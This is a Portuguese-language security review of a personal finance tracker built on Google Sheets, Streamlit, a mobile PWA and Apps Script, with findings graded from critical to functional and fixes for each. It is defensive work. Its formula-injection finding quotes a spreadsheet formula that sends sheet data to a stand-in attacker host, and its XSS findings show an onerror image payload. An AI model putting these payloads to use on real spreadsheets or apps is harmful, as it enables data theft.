

FinTrack — Revisão de Segurança

Revisão independente do código na branch `claudio/financial-tracker-planning-fbtmtb` (commit `e97b42a`). Data: 05/09/2026.

Resumo executivo

O projeto foi lido por inteiro: `main.py`, `src/` (`auth`, `sheets`, `telegram_bot`, `utils`, `config`), as 9 páginas Streamlit, o PWA mobile (`index.html`, `sw.js`, `manifest.json`), os scripts de setup e o Apps Script, além de requirements e configuração do Streamlit. A premissa central da análise é a sua: o banco de dados é uma planilha no seu Google Drive. Isso muda o modelo de ameaça: a planilha não é só o lugar onde os dados moram, é também onde mora o estado de segurança (PINs, bloqueios, código 2FA). Hoje, quem edita a planilha controla o app.

Os pontos mais graves não são falhas de criptografia (`bcrypt` e `secrets` estão bem usados), e sim de arquitetura e de contrato: (1) não há `.gitignore`, então as credenciais vão para o GitHub no primeiro commit feito no seu PC; (2) a planilha nasce no Drive da service account, não no seu, e o app pede acesso ao Drive inteiro; (3) o estado de segurança na planilha pode ser editado à mão para resetar PINs ou destravar; (4) o app do celular e o Apps Script falam protocolos diferentes, então nada é salvo e, quando for corrigido de qualquer jeito, vai duplicar gastos; (5) o segredo do Apps Script está dentro do HTML e vai na URL.

Nenhum destes exige refazer o projeto. Todos têm correção pontual, descrita item a item, e a ordem sugerida na seção final permite aplicar em blocos quando você pedir.

Panorama dos achados

Severidade	Qtd.	O que significa
CRÍTICO	6	Vazamento de credenciais, bypass de autenticação ou perda/duplicação de dados. Corrigir antes de usar.
ALTO	9	Exploração viável por quem tiver acesso à planilha, à rede local ou à URL do Apps Script.
MÉDIO	8	Enfraquece uma proteção existente ou cria risco em manutenção futura.
BAIXO	4	Boas práticas e endurecimento.
FUNCIONAL	7	Não é segurança, mas quebra o uso ou os números. Listado para você não ser surpreendido.

Índice dos achados

ID	Sev.	Título	Onde
C1	CRÍTICO	Não existe <code>.gitignore</code> : <code>credentials.json</code> e <code>.env</code> vão parar no GitHub	raiz do repositório
C2	CRÍTICO	A planilha é criada no Drive da service account, não no seu, e o app pede acesso ao Drive inteiro	<code>scripts/setup_sheets.py</code> (<code>gc.create</code>), <code>src/sheets.py</code> linhas 9-12 (SCOPES)
C3	CRÍTICO	Quem consegue editar a planilha redefine os PINs ou destrava o app sem saber nenhuma senha	<code>src/auth.py</code> linhas 34-35 (<code>is_primeiro_acesso</code>), 53-54 (<code>get_estado_bloqueio</code>); <code>main.py</code> linha 311

ID	Sev.	Título	Onde
C4	CRÍTICO	App mobile e Apps Script falam protocolos diferentes: nada é salvo, a fila cresce para sempre	mobile/index.html linhas 381, 390-403, 457-469; scripts/apps_script.js doGet (27-46) e doPost (55-84)
C5	CRÍTICO	Sincronização sem idempotência: gasto duplicado quando a resposta se perde	mobile/index.html linhas 485-502 (sincronizarFila); scripts/apps_script.js salvarGasto
C6	CRÍTICO	Segredo do Apps Script hardcoded no index.html e enviado na URL	mobile/index.html linhas 292-293 e 381
A1	ALTO	Injeção de fórmula na planilha pelo Apps Script (setValues interpreta '=')	scripts/apps_script.js salvarGasto: ws.getRange(...).setValues(rows)
A2	ALTO	XSS no app do PC: nome e tipo de conta renderizados como HTML cru	main.py linhas 298-303 (unsafe_allow_html=True com row['nome'] e row['tipo'])
A3	ALTO	XSS no PWA: dados montados com innerHTML	mobile/index.html linhas 396-402 (popularSelects) e 513-518 (renderizarFila)
A4	ALTO	Leitura do Apps Script sem autenticação, com acesso 'qualquer pessoa'	scripts/apps_script.js doGet (categorias, contas, cartões)
A5	ALTO	Streamlit escuta em todas as interfaces de rede (0.0.0.0)	.streamlit/config.toml seção [server]
A6	ALTO	Código de desbloqueio sem limite de tentativas e sem cooldown de envio	src/auth.py linhas 166-180 (verificar_codigo); main.py linhas 122-131 (botão 'Sim, enviar')
A7	ALTO	Backup JSON exporta os hashes dos PINs	pages/09_Admin.py linhas 227-241
A8	ALTO	Troca do Telegram pela Administração não funciona e, se funcionasse, seria um vetor de sequestro	pages/09_Admin.py linhas 85-116; src/telegram_bot.py linhas 9-12
A9	ALTO	Exclusões e atualizações por número de linha calculado a partir do cache podem atingir a linha errada	src/sheets.py: delete_entrada, delete_gasto, delete_gasto_grupo, delete_transferencia e todos os update_cell(idx + 2, ...)
M1	MÉDIO	Área administrativa continua aberta após bloqueio por inatividade	src/auth.py linhas 98-105 (is_authenticated)
M2	MÉDIO	O bloqueio por inatividade só acontece quando você interage	src/auth.py linhas 89-95
M3	MÉDIO	PIN numérico de 6 dígitos com bcrypt sem pepper é quebrável offline	src/auth.py linhas 20-21
M4	MÉDIO	Mensagens de erro exibem detalhes internos	main.py linhas 318-320
M5	MÉDIO	Comparação do segredo no Apps Script não é de tempo constante e não há limite de falhas	scripts/apps_script.js doPost (payload.secret !== SECRET_KEY)
M6	MÉDIO	Nomes de chaves de configuração divergem entre setup e auth	scripts/setup_sheets.py linhas 97-110 vs src/auth.py linhas 43-45
M7	MÉDIO	Service worker cacheia '/' e não o app	mobile/sw.js linha 6

ID	Sev.	Título	Onde
M8	MÉDIO	Validação 'PIN de exclusão diferente do de abertura' na Admin está quebrada	pages/09_Admin.py linha 64
B1	BAIXO	Dependências sem versão fixa	requirements.txt
B2	BAIXO	get_chat_id_bot aceita a última mensagem de qualquer pessoa	src/telegram_bot.py linhas 67-79
B3	BAIXO	enableCORS=false com XSRF ligado	.streamlit/config.toml
B4	BAIXO	Manifest aponta para ícones que não existem	mobile/manifest.json
F1	FUNCIONAL	Página Dívidas quebra: nomes de colunas não existem	pages/06_Dividas.py linhas 21, 97, 99, 173
F2	FUNCIONAL	Data de fatura inválida em meses curtos	src/utils.py linhas 55-62 (calcular_data_fatura)
F3	FUNCIONAL	Contas fixas nunca viram lançamentos	pages/05_Fixas.py (só lista) e ausência de rotina em sheets.py/utils.py
F4	FUNCIONAL	Formas de pagamento inconsistentes entre telas	pages/05_Fixas.py e 06_Dividas.py ('Boleto'); src/utils.py calcular_saldo_conta; mobile/index.html ('Dinheiro' sem conta)
F5	FUNCIONAL	Cartões mostra 3 meses em vez de 4	pages/03_Cartoes.py linha 56
F6	FUNCIONAL	Bloco de código morto com chamada inválida	pages/08_Relatorios.py linhas 144-150
F7	FUNCIONAL	Importação de backup não implementada	pages/09_Admin.py linhas 246-250

Modelo de ameaça considerando o Google Drive como banco

Quem pode fazer o quê, no desenho atual:

- Quem está logado na sua conta Google (navegador aberto, celular, Drive Desktop): lê e edita toda a planilha, inclusive a aba config. Hoje isso equivale a ter os dois PINs e o código Telegram (C3).
- Quem obtém o credentials.json: mesmo poder, sem precisar da sua conta. Com o escopo atual, alcança o Drive da service account inteiro (C2). O arquivo vai para o GitHub sem .gitignore (C1).
- Quem obtém URL + segredo do Apps Script: grava gastos e injeta fórmulas (A1) que executam quando você abre a planilha. O segredo está no HTML e na URL (C6).
- Quem obtém só a URL do Apps Script: lista seus bancos e cartões (A4).
- Quem está na mesma rede Wi-Fi: vê a tela de login e pode te bloquear (A5).
- Quem passa pelo PC destravado: vê o dashboard até alguém interagir (M2); se a Admin estava aberta, continua aberta (M1).
- Quem acha o backup.json: quebra os PINs offline (A7, M3).

O objetivo das correções é que a planilha continue no seu Drive, mas deixe de ser suficiente para abrir o app: um segredo que só existe no PC (pepper) e assinaturas do estado de bloqueio fazem com que editar células não destrave nem resete nada. O restante é fechar as portas laterais (Apps Script, rede, XSS, backup).

CRÍTICO

C1 — Não existe .gitignore: credentials.json e .env vão parar no GitHub

Onde: raiz do repositório

Problema. O projeto não tem .gitignore. O primeiro git add . feito no seu PC vai versionar o credentials.json (chave privada da service account, que dá acesso à planilha) e o .env (token do bot Telegram e chat_id). O histórico do git guarda isso para sempre, mesmo que você apague depois.

Impacto. Qualquer pessoa com acesso ao repositório lê e escreve na sua planilha financeira e envia mensagens pelo seu bot (inclusive códigos de desbloqueio falsos).

Correção a aplicar:

- Criar .gitignore na raiz com: credentials.json, *.json de credenciais, .env, mobile/config.js, __pycache__/, *.pyc, .streamlit/secrets.toml, backups/.
- Rodar git log --all -- credentials.json .env para confirmar que nunca foram commitados. Se foram: revogar a chave no Google Cloud Console e gerar outra; gerar novo token no @BotFather; reescrever o histórico ou recriar o repositório.
- Adicionar um check no main.py que recusa iniciar se o credentials.json estiver dentro de uma pasta versionada ou sincronizada (ver checklist operacional).

C2 — A planilha é criada no Drive da service account, não no seu, e o app pede acesso ao Drive inteiro

Onde: scripts/setup_sheets.py (gc.create), src/sheets.py linhas 9-12 (SCOPES)

Problema. gc.create() cria a planilha dentro do Drive da service account. Você não a verá no seu Google Drive, o que contraria o requisito do projeto e, na prática, leva a 'consertar' compartilhando com 'qualquer pessoa com o link' (era exatamente o bug removido na primeira revisão). Além disso, o app Streamlit pede o escopo auth/drive completo, sendo que só precisa de auth/spreadsheets.

Impacto. Se o credentials.json vazar, o escopo amplo dá ao atacante todo o Drive da service account e tudo que foi compartilhado com ela, não só uma planilha. E a planilha 'sumida' do seu Drive incentiva compartilhamentos inseguros.

Correção a aplicar:

- Inverter o fluxo: você cria a planilha vazia no seu Drive, compartilha com o e-mail da service account como Editor (só esse e-mail), copia o ID da URL para o .env. A planilha fica sua, no seu Drive, e a service account só enxerga esse arquivo.
- setup_sheets.py passa a exigir SPREADSHEET_ID e apenas cria abas/cabeçalhos/dados padrão. Remover o ramo gc.create (ou deixar atrás de uma flag --criar com aviso).
- Em src/sheets.py reduzir SCOPES para apenas <https://www.googleapis.com/auth/spreadsheets>. No setup, se mantiver criação, usar drive.file e nunca drive.

C3 — Quem consegue editar a planilha redefine os PINs ou destrava o app sem saber nenhuma senha

Onde: src/auth.py linhas 34-35 (is_primeiro_acesso), 53-54 (get_estado_bloqueio); main.py linha 311

Problema. Todo o estado de segurança (hash dos PINs, contador de tentativas, bloqueio, código 2FA) vive na aba config da planilha, que está no Google Drive. Basta editar a célula primeiro_acesso para True e o app abre a tela de cadastro de PINs novos, sem pedir os antigos. Editar bloqueio_estado para DESBLOQUEADO zera o bloqueio. Editar tentativas_* para 0 dá tentativas infinitas.

Impacto. O perímetro de segurança inteiro é a sua conta Google. Qualquer sessão logada no Drive (navegador aberto, celular, Drive Desktop) equivale a ter os dois PINs. O bloqueio via Telegram vira decorativo.

Correção a aplicar:

- is_primeiro_acesso() só retorna True se os hashes de pin_abertura E pin_exclusao estiverem vazios. Nunca confiar apenas na flag.
- Introduzir um PIN_PEPPER no .env (32+ bytes aleatórios, gerado uma vez, só existe no PC). Hash passa a ser bcrypt(pepper + pin). Sem o pepper, os hashes da planilha não servem para crack offline nem para forjar um hash válido.
- Assinar o estado sensível: gravar estado_hmac = HMAC-SHA256(pepper, bloqueio_estado|tentativas_abertura|tentativas_exclusao|primeiro_acesso). Ao ler, se a assinatura não bater, tratar como BLOQUEADO e exigir código Telegram. Assim edição manual da planilha não destrava nem reseta.
- Documentar que resetar os PINs de verdade exige: acesso ao PC + apagar o pepper + os dois hashes (procedimento manual consciente), nunca só a planilha.

C4 — App mobile e Apps Script falam protocolos diferentes: nada é salvo, a fila cresce para sempre

Onde: mobile/index.html linhas 381, 390-403, 457-469; scripts/apps_script.js doGet (27-46) e doPost (55-84)

Problema. Leitura: o mobile chama ?secret=... e espera {categorias:[strings]}; o script espera ?action=categorias e devolve {ok, data:[{id,nome,icone}]}. Resultado: selects vazios ou '[object Object]'. Escrita: o mobile envia {secret, gasto:{data, valor, ...}} e testa text.includes('OK'); o script espera {secret, action:'salvar_gasto', data_compra, valor_total, ...} e devolve {"ok":true} em minúsculo. Nada bate.

Impacto. Funcionalmente: nenhum gasto do celular chega à planilha. De segurança: a fila reenvia indefinidamente (tráfego com o segredo a cada tentativa) e uma correção apressada de um lado só tende a criar duplicatas.

Correção a aplicar:

- Definir um único contrato (proposta no Anexo A) e ajustar os dois lados de uma vez.
- Toda chamada via POST com JSON {secret, action, payload}; resposta sempre JSON {ok:true|false, ...}; o mobile decide por resp.ok === true, nunca por texto.
- Testar com curl antes de usar no celular (exemplos no Anexo A).

C5 — Sincronização sem idempotência: gasto duplicado quando a resposta se perde

Onde: `mobile/index.html` linhas 485-502 (`sincronizarFila`); `scripts/apps_script.js` `salvarGasto`

Problema. Em rede móvel é comum a requisição chegar e a resposta não voltar. O item continua na fila e é reenviado; o Apps Script insere de novo. O mobile já gera um id (`crypto.randomUUID`) mas não o envia, e o script gera outro.

Impacto. Gastos em dobro ou triplo na planilha, distorcendo saldo, alertas e relatórios. Difícil de detectar depois.

Correção a aplicar:

- Enviar o id gerado no celular como `id_grupo` da compra.
- No Apps Script, dentro de `LockService.getScriptLock()`: procurar `id_grupo` na aba gastos (`TextFinder` na coluna B) e, se existir, responder `{ok:true, duplicado:true}` sem inserir.
- O mobile remove da fila também quando `duplicado:true`.

C6 — Segredo do Apps Script hardcoded no index.html e enviado na URL

Onde: `mobile/index.html` linhas 292-293 e 381

Problema. `SECRET_KEY` é uma constante dentro do HTML. Se o PWA for publicado pelo GitHub Pages deste repositório (o caminho mais provável), o segredo fica público no repo. O aviso na tela fala em '`config.js`', mas o código não lê nenhum `config.js`. Além disso o GET envia o segredo em query string, que fica no histórico do navegador, em logs de proxy e nos logs de execução do Apps Script.

Impacto. Com URL + segredo qualquer pessoa grava gastos na sua planilha (e, com A1, injeta fórmulas).

Correção a aplicar:

- Criar `mobile/config.js` (no `.gitignore`) com `window.FINTRACK_CONFIG = {url, secret}` e um `mobile/config.example.js` versionado. `index.html` carrega via `<script src='config.js'>`.
- Nunca colocar segredo em URL: leitura e escrita via POST com o segredo no corpo.
- Segredo com 32+ caracteres aleatórios (ex.: `python -c "import secrets;print(secrets.token_urlsafe(32))"`). Trocar em ambos os lados se houver suspeita de vazamento.

ALTO

A1 — Injeção de fórmula na planilha pelo Apps Script (setValues interpreta '=')

Onde: `scripts/apps_script.js` salvarGasto: `ws.getRange(...).setValues(rows)`

Problema. `setValues` interpreta células que começam com `=`, `+`, `-` ou `@` como fórmula. Uma descrição como `=IMAGE("https://atacante/?"&A2)` ou `=IMPORTRANGE(...)` passa a ser executada quando você abre a planilha. Combinado com C6 (segredo vazado), é exfiltração de dados. O lado Python (gsread) já grava como RAW, portanto está seguro.

Impacto. Exfiltração silenciosa do conteúdo da planilha para um servidor externo ao abrir o Sheets; ou corrupção de células.

Correção a aplicar:

- No Apps Script, sanitizar toda string antes de gravar: se começar com `=` `+` `-` `@` ou caractere de controle, prefixar com apóstrofo (`'`) para forçar texto.
- Alternativa mais forte: gravar com `setValues` apenas números/datas e usar `setNumberFormat('@')` na coluna de texto antes de escrever.
- Manter a lista de campos aceitos fechada (nada além de `data_compra`, `valor_total`, `num_parcelas`, `categoria`, `forma_pagamento`, `conta_cartao`, `descricao`, `id_grupo`).

A2 — XSS no app do PC: nome e tipo de conta renderizados como HTML cru

Onde: `main.py` linhas 298-303 (`unsafe_allow_html=True` com `row['nome']` e `row['tipo']`)

Problema. O dashboard monta cartões com `st.markdown(..., unsafe_allow_html=True)` interpolando o nome da conta bancária vindo da planilha. Um nome como `Sicredi<img src=x onerror="...">` executa JavaScript no seu navegador. O nome pode ser alterado por quem edita a planilha ou, via Apps Script, por quem tiver o segredo.

Impacto. JavaScript rodando na página do FinTrack pode ler o que você digita (PINs), alterar valores exibidos e fazer requisições em seu nome.

Correção a aplicar:

- Aplicar `html.escape()` em toda string vinda de dados antes de interpolar em markdown com `unsafe_allow_html` (`main.py`: nome e tipo de conta). Os valores numéricos formatados por `fmt_brl` e `formatar_mes` já são seguros.
- Ou substituir os cartões HTML por `st.metric`, que não interpreta HTML.
- Regra geral para o projeto: `unsafe_allow_html` só com literais ou strings escapadas.

A3 — XSS no PWA: dados montados com innerHTML

Onde: `mobile/index.html` linhas 396-402 (`popularSelects`) e 513-518 (`renderizarFila`)

Problema. Categorias, contas e cartões (vindos da planilha) e descrição/data (fila local) são inseridos por template string em `innerHTML`. Aspas ou tags em um nome de categoria viram HTML executável no celular.

Impacto. Código malicioso no PWA lê o segredo do Apps Script (está no JS) e a fila local, e pode gravar o que quiser na planilha.

Correção a aplicar:

- Construir os `<option>` e os itens da fila com `document.createElement` e `textContent`. Nunca `innerHTML` com dados.
- Adicionar uma meta `Content-Security-Policy` no `index.html`: `default-src 'self'; connect-src https://script.google.com https://script.googleusercontent.com; script-src 'self'`. (Exige mover o JS inline para arquivo `.js`.)

A4 — Leitura do Apps Script sem autenticação, com acesso 'qualquer pessoa'

Onde: `scripts/apps_script.js` `doGet` (categorias, contas, cartões)

Problema. O `doGet` devolve nomes das contas bancárias, cartões, dia de fechamento e vencimento para qualquer um que tenha a URL, sem segredo.

Impacto. Enumeração dos seus bancos e cartões (útil para phishing direcionado: 'Sicredi', 'Nubank', 'sua fatura vence dia 11').

Correção a aplicar:

- Exigir o segredo também na leitura (POST com action 'listar'). `doGet` responde apenas `{ok:true}` como health check, sem dados.
- Ver Anexo A.

A5 — Streamlit escuta em todas as interfaces de rede (0.0.0.0)

Onde: `.streamlit/config.toml` seção `[server]`

Problema. Sem `server.address`, o Streamlit aceita conexões de qualquer dispositivo da mesma rede (Wi-Fi de casa, rede da empresa, hotspot). A tela de login fica exposta; alguém erra o PIN 3 vezes e bloqueia o seu app (negação de serviço), ou tenta força bruta com sorte.

Impacto. Bloqueios indesejados, tentativas de força bruta remotas e exposição de uma superfície que deveria ser só local.

Correção a aplicar:

- Em `config.toml`: `[server]` `address = "127.0.0.1"`, `port = 8501`, `enableCORS = true`, `enableXsrfProtection = true`.
- Se um dia quiser acessar de outro dispositivo, usar VPN pessoal (Tailscale) em vez de abrir a porta.

A6 — Código de desbloqueio sem limite de tentativas e sem cooldown de envio

Onde: `src/auth.py` linhas 166-180 (verificar_codigo); `main.py` linhas 122-131 (botão 'Sim, enviar')

Problema. O código tem 900.000 combinações e expira em 60 s, mas nada limita tentativas dentro desse minuto. O botão de envio também não tem cooldown: pode ser clicado sem parar.

Impacto. Força bruta local (limitada só pela latência do Sheets) e inundação do seu Telegram com códigos, o que ainda serve para mascarar um ataque real no meio das mensagens.

Correção a aplicar:

- Contador tentativas_codigo (assinado com o HMAC de C3): ao 3.º erro, invalidar o código e exigir novo envio.
- Cooldown de 60 s entre envios usando codigo_timestamp; mostrar 'aguarde X s'.
- Registrar data/hora de cada envio e de cada desbloqueio em uma aba auditoria (só append), para você perceber tentativas que não foram suas.

A7 — Backup JSON exporta os hashes dos PINs

Onde: `pages/09_Admin.py` linhas 227-241

Problema. O backup inclui a aba config inteira: pin_abertura, pin_exclusao e codigo_desbloqueio (bcrypt). PIN de 6 dígitos tem 1 milhão de combinações: com o hash em mãos, quebra-se offline em horas (CPU) ou minutos (GPU).

Impacto. Quem achar o backup.json (Downloads, e-mail, OneDrive) descobre os dois PINs.

Correção a aplicar:

- Excluir do backup as chaves pin_*, codigo_*, tentativas_*, bloqueio_estado e o hmac. Exportar da config apenas metas, alertas e inatividade.
- Com o pepper (C3) o hash sozinho deixa de ser quebrável, mas continuar não exportando.
- Sugerir na tela que o arquivo seja guardado em local criptografado (ver checklist).

A8 — Troca do Telegram pela Administração não funciona e, se funcionasse, seria um vetor de sequestro

Onde: `pages/09_Admin.py` linhas 85-116; `src/telegram_bot.py` linhas 9-12

Problema. A tela grava telegram_chat_id_override na planilha, mas enviar_mensagem só lê o .env: a troca não tem efeito. Se passasse a ser lida, quem editar a planilha aponta o destino do código de desbloqueio para o próprio Telegram.

Impacto. Hoje: funcionalidade quebrada e falsa sensação de controle. Amanhã: bypass do 2FA por edição de célula.

Correção a aplicar:

- Manter o chat_id somente no .env (fora da planilha). Remover a aba Telegram da Administração ou deixá-la apenas com o botão de teste.
- Documentar a troca manual: editar .env no PC (que já exige estar logado e com os dois PINs para chegar à Admin).
- Se quiser manter a troca pela interface: gravar o novo chat_id assinado com HMAC(pepper) e ignorar valores sem assinatura válida.

A9 — Exclusões e atualizações por número de linha calculado a partir do cache podem atingir a linha errada

Onde: `src/sheets.py`: `delete_entrada`, `delete_gasto`, `delete_gasto_grupo`, `delete_transferencia` e todos os `update_cell(idx + 2, ...)`

Problema. O índice vem do DataFrame guardado em `session_state`. Se a planilha mudou entre a leitura e a ação (o celular inseriu, outra aba do navegador apagou, você ordenou/filtrou direto no Sheets), `idx + 2` aponta para outra linha.

Impacto. Apagar ou sobrescrever um registro diferente do escolhido, sem aviso. Integridade dos dados financeiros comprometida.

Correção a aplicar:

- Localizar a linha no momento da ação: `cell = ws.find(rid, in_column=1)`; conferir que `cell.value == rid`; só então `delete_rows/update_cell` na `cell.row`.
- Em `delete_gasto_grupo`, buscar todas as ocorrências com `ws.findall(id_grupo, in_column=2)` e apagar de baixo para cima.
- Invalidar o cache antes e depois da operação.

MÉDIO

M1 — Área administrativa continua aberta após bloqueio por inatividade

Onde: `src/auth.py` linhas 98-105 (`is_authenticated`)

Problema. Quando a inatividade derruba `authenticated`, `admin_autenticado` permanece `True`. Ao relogar só com o PIN de abertura, a Administração (que exige os dois PINs) já está aberta.

Impacto. Redução do fator duplo da área admin depois de um bloqueio.

Correção a aplicar:

- Limpar `admin_autenticado` sempre que `authenticated` for derrubado (inatividade, bloqueio por exclusão, logout). Hoje só `desbloquear()` faz isso.

M2 — O bloqueio por inatividade só acontece quando você interage

Onde: `src/auth.py` linhas 89-95

Problema. Streamlit só reexecuta a página em interação. Se você sair do PC com o dashboard aberto, ele fica mostrando saldos e cartões até alguém clicar em algo; só então bloqueia.

Impacto. A tela permanece legível para quem passar pelo PC, exatamente o cenário que a inatividade deveria cobrir.

Correção a aplicar:

- Usar `@st.fragment(run_every='30s')` (Streamlit 1.37+) que chama `check_inatividade()` e `st.rerun()` quando expirar; ou o pacote `streamlit-autorefresh`.
- Ao bloquear, limpar os DataFrames em cache (`session_state`) para não sobrar dado na memória da sessão.

M3 — PIN numérico de 6 dígitos com `bcrypt` sem pepper é quebrável offline

Onde: `src/auth.py` linhas 20-21

Problema. Espaço de 1 milhão de PINs. `bcrypt cost 12` leva ~0,25 s por tentativa em CPU (cerca de 3 dias) e muito menos em GPU. Como o hash está na planilha (Drive), o crack offline é o caminho natural.

Impacto. Descoberta dos PINs por quem ler a planilha ou o backup.

Correção a aplicar:

- Pepper no `.env` (C3) resolve o offline. Subir `cost` para 13. Opcionalmente permitir PIN de 6 a 8 dígitos.

M4 — Mensagens de erro exibem detalhes internos

Onde: `main.py` linhas 318-320

Problema. Exceções brutas vão para a tela: caminho do `credentials.json`, ID da planilha, e-mail da `service account`, `stack` do `gsread`.

Impacto. Facilita o reconhecimento para um ataque; com A5 isso fica visível na rede.

Correção a aplicar:

- Mensagem genérica na tela e detalhe em um arquivo de log local (`logs/fintrack.log`, no `.gitignore`).

M5 — Comparação do segredo no Apps Script não é de tempo constante e não há limite de falhas

Onde: `scripts/apps_script.js` `doPost` (`payload.secret !== SECRET_KEY`)

Problema. Comparação com `!==` retorna no primeiro byte diferente; e não há contagem de falhas. Impacto real é baixo por causa da latência do Apps Script, mas é barato corrigir.

Impacto. Tentativas ilimitadas de adivinhar o segredo.

Correção a aplicar:

- Comparar byte a byte com XOR acumulado (mesmo tamanho sempre).
- Contar falhas em `CacheService.getScriptCache()` (chave 'falhas', TTL 600 s); após 10 falhas responder 429 por 10 minutos.

M6 — Nomes de chaves de configuração divergem entre setup e auth

Onde: `scripts/setup_sheets.py` linhas 97-110 vs `src/auth.py` linhas 43-45

Problema. Setup grava `estado_bloqueio` e `codigo_expiracao`; o auth lê `bloqueio_estado` e `codigo_timestamp`. Ficam chaves mortas na planilha e o risco de, numa manutenção futura, o estado de bloqueio 'sumir' por ler a chave errada (default DESBLOQUEADO).

Impacto. Estado de segurança silenciosamente ignorado após um refactor.

Correção a aplicar:

- Centralizar os nomes das chaves em `src/config.py` (constantes) e importar nos dois lugares. Ao ler uma chave de segurança inexistente, tratar como bloqueado, não como padrão aberto.

M7 — Service worker cacheia '/' e não o app

Onde: `mobile/sw.js` linha 6

Problema. Em hospedagem em subpasta (GitHub Pages: `/Raimyson/mobile/`) o `addAll([''])` falha ou cacheia outra página; o modo offline não abre. A fila offline (feature central do mobile) depende disso.

Impacto. Offline quebrado leva a improvisos inseguros (abrir a planilha direto no celular, anotar em outro lugar).

Correção a aplicar:

- Cachear `['.', './index.html', './manifest.json', './config.js']` com caminhos relativos; não interceptar requisições POST; versionar o nome do cache a cada deploy.

M8 — Validação 'PIN de exclusão diferente do de abertura' na Admin está quebrada

Onde: `pages/09_Admin.py` linha 64

Problema. Compara o PIN em texto puro com o hash do PIN de abertura: sempre falso, então a regra nunca é aplicada. Ao trocar o PIN de abertura não há verificação simétrica.

Impacto. Os dois PINs podem ficar iguais, anulando a separação de privilégios.

Correção a aplicar:

- Usar `auth.verify_pin(novo_e, hash_abertura)`; e ao trocar o de abertura, verificar contra o hash do de exclusão. Exigir o PIN atual para trocar qualquer um deles.

BAIXO

B1 — Dependências sem versão fixa

Onde: requirements.txt

Problema. Só limites inferiores ($\geq$). Uma atualização maliciosa ou quebrada de qualquer pacote entra no próximo pip install.

Impacto. Risco de cadeia de suprimento e de quebra silenciosa.

Correção a aplicar:

- Fixar versões exatas ($\equiv$) e regenerar com pip freeze após testar. Opcional: pip-tools com hashes.

B2 — get_chat_id_bot aceita a última mensagem de qualquer pessoa

Onde: src/telegram_bot.py linhas 67-79

Problema. getUpdates devolve mensagens de qualquer um que encontre o bot. Se alguém mandar 'oi' antes de você, o chat_id configurado é o dele.

Impacto. Códigos de desbloqueio indo para um estranho no setup.

Correção a aplicar:

- Usar só no setup, mostrar o username/nome de quem enviou e pedir confirmação. Ou remover e instruir a obter o chat_id pelo @userinfobot.

B3 — enableCORS=false com XSRF ligado

Onde: .streamlit/config.toml

Problema. Combinação que o Streamlit desaconselha. Com address=127.0.0.1 (A5) o efeito é pequeno.

Impacto. Superfície desnecessária.

Correção a aplicar:

- enableCORS = true.

B4 — Manifest aponta para ícones que não existem

Onde: mobile/manifest.json

Problema. icon-192.png e icon-512.png não estão no repositório; a instalação como PWA falha no Android e o usuário fica usando pelo navegador comum.

Impacto. Sem instalação, sem service worker confiável, sem tela cheia.

Correção a aplicar:

- Adicionar os dois PNGs (podem ser um emoji renderizado).

FUNCIONAL

F1 — Página Dívidas quebra: nomes de colunas não existem

Onde: `pages/06_Dividas.py` linhas 21, 97, 99, 173

Problema. Usa `num_parcelas_total`, `num_parcelas_anticipadas` e `economia_juros`; a planilha (`sheets.py` e `setup`) tem `num_parcelas`, `num_anticipadas` e `economia`.

Impacto. `KeyError` ao abrir a página com qualquer dívida cadastrada.

Correção a aplicar:

- Alinhar com os nomes reais (ou renomear as colunas em um só lugar).

F2 — Data de fatura inválida em meses curtos

Onde: `src/utils.py` linhas 55-62 (`calcular_data_fatura`)

Problema. `date.replace(day=31)` em fevereiro/abril/junho/setembro/novembro (vencimento ou fechamento 29-31) levanta `ValueError`.

Impacto. Salvar compra no crédito falha em alguns meses.

Correção a aplicar:

- Usar `min(dia, calendar.monthrange(ano, mes)[1])` em fechamento e vencimento (o Apps Script já faz isso; replicar no Python).

F3 — Contas fixas nunca viram lançamentos

Onde: `pages/05_Fixas.py` (só lista) e ausência de rotina em `sheets.py/utils.py`

Problema. Não existe código que gere o gasto do mês a partir da conta fixa. O requisito 'aparece automaticamente todo mês' não está implementado.

Impacto. Dashboard e relatórios ignoram aluguel, luz, telefone, etc.

Correção a aplicar:

- Ao abrir um mês, materializar cada fixa ativa (`mes_inicio <= mes` e (`mes_fim` vazio ou `>= mes`)) como gasto com `id_grupo = 'FIXA:' + id_fixa + ':' + mes`, só se ainda não existir (idempotente). Permitir editar o valor daquele mês.

F4 — Formas de pagamento inconsistentes entre telas

Onde: `pages/05_Fixas.py` e `06_Dividas.py` ('Boleto'); `src/utils.py` `calcular_saldo_conta`; `mobile/index.html` ('Dinheiro' sem conta)

Problema. 'Boleto' existe em Fixas/Dívidas mas `calcular_saldo_conta` só debita

Pix/Débito/Dinheiro. No PC, 'Dinheiro' grava uma conta e debita; no celular grava vazio. Resultado: saldos diferentes conforme onde lançou.

Impacto. Saldo por conta errado.

Correção a aplicar:

- Uma única lista `FORMAS_PAGAMENTO` em `config.py`, usada por todos. Regra: Pix/Débito/Boleto debitam conta; Dinheiro não; Crédito vai para fatura.

F5 — Cartões mostra 3 meses em vez de 4

Onde: pages/03_Cartoes.py linha 56

Problema. utils.ultimos_meses(0)[0:1] devolve lista vazia.

Impacto. Coluna do mês atual some.

Correção a aplicar:

- Trocar por [mes_atual].

F6 — Bloco de código morto com chamada inválida

Onde: pages/08_Relatorios.py linhas 144-150

Problema. Lista 'proximos' nunca é usada e chama utils.mes_str com argumentos errados; hoje não executa por acaso, mas quebrará ao ser tocado.

Impacto. Manutenção.

Correção a aplicar:

- Remover o bloco.

F7 — Importação de backup não implementada

Onde: pages/09_Admin.py linhas 246-250

Problema. O botão lê o arquivo e mostra 'não implementada'.

Impacto. Sem restauração em caso de perda da planilha.

Correção a aplicar:

- Implementar por aba com deduplicação por id; jamais importar a aba config de segurança (ver A7).

Ordem sugerida de correção

Pensada para você pedir em blocos. Cada bloco é independente o bastante para ser commitado sozinho.

#	Itens	O que fazer
1	C1	Criar .gitignore e verificar o histórico do git antes de qualquer outro commit.
2	C2	Recrutar a planilha no seu Drive, compartilhar só com a service account, reduzir escopo.
3	C3 + M3 + M6	Pepper no .env, is_primeiro_acesso pelos hashes, HMAC do estado de bloqueio, nomes de chaves centralizados.
4	C4 + C5 + C6 + A1 + A4	Refazer o contrato mobile/Apps Script: POST único, config.js, idempotência por id_grupo, sanitização de fórmula, leitura autenticada.
5	A5 + B3	config.toml: address 127.0.0.1, enableCORS true.
6	A2 + A3	Escapar HTML no PC; createElement/textContent no PWA.
7	A6	Contador e cooldown do código Telegram; aba de auditoria.
